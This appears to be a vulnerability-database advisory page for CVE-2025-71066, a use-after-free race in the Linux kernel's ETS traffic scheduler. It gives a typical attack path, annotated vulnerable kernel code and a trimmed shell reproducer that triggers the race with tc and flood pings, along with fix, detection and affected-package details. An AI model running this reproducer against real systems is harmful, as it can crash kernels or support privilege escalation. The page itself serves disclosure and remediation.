Cloudanix VulnDB

CVE-2025-71066

None

CVSS

—

EPSS

0.2%

Published

Jan 13, 2026

CISA due date

—

Cloudanix analysis

Schedule a fix SSVC: Track

A flaw in the Linux kernel's network traffic scheduling code can let a local user with special setup rights crash the system or potentially take control by exploiting a timing issue during configuration changes.

Exploitation
Local Privilege
Attacker needs
Low Privilege
Complexity
Moderate
Impact
Full Compromise
Component
OS kernel
Class
Use After Free
Remediation
Upgrade
Effort
Medium
Patch risk
Low

What it actually does

Race condition between ets_qdisc_dequeue and ets_qdisc_change allows use-after-free on struct Qdisc when classes remain on the active list after their qdisc pointers are set to NULL and freed.

Why it matters to the business

Local attackers with namespace privileges can trigger kernel crashes or memory corruption on affected Linux systems, leading to denial of service or potential privilege escalation in environments using ETS qdisc for traffic shaping.

How an attack unfolds

An attacker creates user and network namespaces, configures an ETS qdisc with child qdiscs such as TBF, sends traffic to populate the active list, then issues concurrent qdisc change operations that reduce bands while dequeue runs, leaving dangling references that cause UAF when the freed qdisc is accessed.

How to fix it

Update Linux kernel to version 5.10.248 or later, or apply commit 062d5d544e564473450d72e6af83077c2b2ff7c3. Rebuild and reboot systems using affected kernels; restrict unprivileged namespace creation via kernel parameters or user namespaces configuration where possible.

How to confirm the fix worked

Verify kernel version is at or above the fixed release, confirm the commit is present in the source tree, and test that the provided reproducer no longer triggers UAF or kernel oops under concurrent change and dequeue operations.

Typical attack path

  1. Create user and network namespaces
  2. Configure ETS root qdisc with multiple bands and attach child qdiscs
  3. Add filters and generate traffic to populate active lists
  4. Trigger concurrent ets_qdisc_change operations that alter band counts while dequeue executes
  5. Exploit resulting UAF on Qdisc object for memory corruption or control-flow hijack

How to detect it

Inspect kernel logs for oops or panic messages referencing ets_qdisc, Qdisc, or use-after-free in net/sched; correlate with audit logs showing tc qdisc change commands and namespace creation events around the time of crashes.

What your security team should do

  • Prioritize kernel upgrades on all systems exposing network namespaces or using advanced qdisc configurations
  • Apply the specific fixed commit or package update within the next maintenance window
  • Audit systems for use of ETS qdisc and limit CAP_NET_ADMIN and namespace creation privileges
  • Monitor for kernel oops or crashes involving qdisc and ets code paths

The record

In the Linux kernel, the following vulnerability has been resolved: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change zdi-disclosures@trendmicro.com says: The vulnerability is a race condition between `ets_qdisc_dequeue` and `ets_qdisc_change`. It leads to UAF on `struct Qdisc` object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis. Analysis: static int ets_qdisc_change(struct Qdisc *sch, struct nlattr *opt, struct netlink_ext_ack *extack) { ... // (1) this lock is preventing .change handler (`ets_qdisc_change`) //to race with .dequeue handler (`ets_qdisc_dequeue`) sch_tree_lock(sch); for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) list_del_init(&q->classes[i].alist); qdisc_purge_queue(q->classes[i].qdisc); } WRITE_ONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active list_add_tail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITE_ONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap)); for (i = 0; i < q->nbands; i++) WRITE_ONCE(q->classes[i].quantum, quanta[i]); for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noop_qdisc) qdisc_hash_add(q->classes[i].qdisc, true); } // (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler sch_tree_unlock(sch); ets_offload_change(sch); for (i = q->nbands; i < oldbands; i++) { // (4) we're reducing the refcount for our class's qdisc and // freeing it qdisc_put(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL; WRITE_ONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnet_stats_basic_sync_init(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; } Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc Reproducer Steps (trimmed version of what was sent by zdi-disclosures@trendmicro.com) ``` DEV="${DEV:-lo}" ROOT_HANDLE="${ROOT_HANDLE:-1:}" BAND2_HANDLE="${BAND2_HANDLE:-20:}" # child under 1:2 PING_BYTES="${PING_BYTES:-48}" PING_COUNT="${PING_COUNT:-200000}" PING_DST="${PING_DST:-127.0.0.1}" SLOW_TBF_RATE="${SLOW_TBF_RATE:-8bit}" SLOW_TBF_BURST="${SLOW_TBF_BURST:-100b}" SLOW_TBF_LAT="${SLOW_TBF_LAT:-1s}" cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT ip link set "$DEV" up tc qdisc del dev "$DEV" root 2>/dev/null || true tc qdisc add dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2_HANDLE" \ tbf rate "$SLOW_TBF_RATE" burst "$SLOW_TBF_BURST" latency "$SLOW_TBF_LAT" tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV ping -I "$DEV" -f -c "$PING_COUNT" -s "$PING_BYTES" -W 0.001 "$PING_DST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOT_HANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---

Affected packages

Ecosystem Package Introduced Fixed
Linux Kernel 0 5.10.248
Mageia:9 kernel 0 6.6.120-1.mga9
Mageia:9 kernel-linus 0 6.6.120-1.mga9
Mageia:9 kmod-virtualbox 0 7.1.14-14.mga9
Mageia:9 kmod-xtables-addons 0 3.24-88.mga9
SUSE:Linux Enterprise High Availability Extension 15 SP6 kernel-default 0 6.4.0-150600.23.92.1
SUSE:Linux Enterprise Live Patching 15 SP6 kernel-default 0 6.4.0-150600.23.92.1
SUSE:Linux Enterprise Live Patching 15 SP6 kernel-livepatch-SLE15-SP6_Update_21 0 1-150600.13.5.1
SUSE:Linux Enterprise Server 15 SP6-LTSS kernel-64kb 0 6.4.0-150600.23.92.1
SUSE:Linux Enterprise Server 15 SP6-LTSS kernel-default 0 6.4.0-150600.23.92.1
SUSE:Linux Enterprise Server 15 SP6-LTSS kernel-default-base 0 6.4.0-150600.23.92.1.150600.12.42.2
SUSE:Linux Enterprise Server 15 SP6-LTSS kernel-docs 0 6.4.0-150600.23.92.1
SUSE:Linux Enterprise Server 15 SP6-LTSS kernel-obs-build 0 6.4.0-150600.23.92.1
SUSE:Linux Enterprise Server 15 SP6-LTSS kernel-source 0 6.4.0-150600.23.92.1
SUSE:Linux Enterprise Server 15 SP6-LTSS kernel-syms 0 6.4.0-150600.23.92.1
SUSE:Linux Enterprise Server 15 SP6-LTSS kernel-zfcpdump 0 6.4.0-150600.23.92.1
SUSE:Linux Enterprise Server for SAP Applications 15 SP6 kernel-default 0 6.4.0-150600.23.92.1
SUSE:Linux Enterprise Server for SAP Applications 15 SP6 kernel-default-base 0 6.4.0-150600.23.92.1.150600.12.42.2
SUSE:Linux Enterprise Server for SAP Applications 15 SP6 kernel-docs 0 6.4.0-150600.23.92.1
SUSE:Linux Enterprise Server for SAP Applications 15 SP6 kernel-obs-build 0 6.4.0-150600.23.92.1
SUSE:Linux Enterprise Server for SAP Applications 15 SP6 kernel-source 0 6.4.0-150600.23.92.1
SUSE:Linux Enterprise Server for SAP Applications 15 SP6 kernel-syms 0 6.4.0-150600.23.92.1
openSUSE:Leap 15.6 dtb-aarch64 0 6.4.0-150600.23.92.1
openSUSE:Leap 15.6 kernel-64kb 0 6.4.0-150600.23.92.1
openSUSE:Leap 15.6 kernel-debug 0 6.4.0-150600.23.92.1
openSUSE:Leap 15.6 kernel-default 0 6.4.0-150600.23.92.1
openSUSE:Leap 15.6 kernel-default-base 0 6.4.0-150600.23.92.1.150600.12.42.2
openSUSE:Leap 15.6 kernel-docs 0 6.4.0-150600.23.92.1
openSUSE:Leap 15.6 kernel-kvmsmall 0 6.4.0-150600.23.92.1
openSUSE:Leap 15.6 kernel-obs-build 0 6.4.0-150600.23.92.1
openSUSE:Leap 15.6 kernel-obs-qa 0 6.4.0-150600.23.92.1
openSUSE:Leap 15.6 kernel-source 0 6.4.0-150600.23.92.1
openSUSE:Leap 15.6 kernel-syms 0 6.4.0-150600.23.92.1
openSUSE:Leap 15.6 kernel-zfcpdump 0 6.4.0-150600.23.92.1
openSUSE:Leap 16.0 dtb-aarch64 0 6.12.0-160000.26.1
openSUSE:Leap 16.0 kernel-64kb 0 6.12.0-160000.26.1
openSUSE:Leap 16.0 kernel-azure 0 6.12.0-160000.26.1
openSUSE:Leap 16.0 kernel-default 0 6.12.0-160000.26.1
openSUSE:Leap 16.0 kernel-default-base 0 6.12.0-160000.26.1.160000.2.7
openSUSE:Leap 16.0 kernel-docs 0 6.12.0-160000.26.1
openSUSE:Leap 16.0 kernel-kvmsmall 0 6.12.0-160000.26.1
openSUSE:Leap 16.0 kernel-obs-build 0 6.12.0-160000.26.1
openSUSE:Leap 16.0 kernel-obs-qa 0 6.12.0-160000.26.1
openSUSE:Leap 16.0 kernel-rt 0 6.12.0-160000.26.1
openSUSE:Leap 16.0 kernel-source 0 6.12.0-160000.26.1
openSUSE:Leap 16.0 kernel-syms 0 6.12.0-160000.26.1
openSUSE:Leap 16.0 kernel-zfcpdump 0 6.12.0-160000.26.1

Related vulnerabilities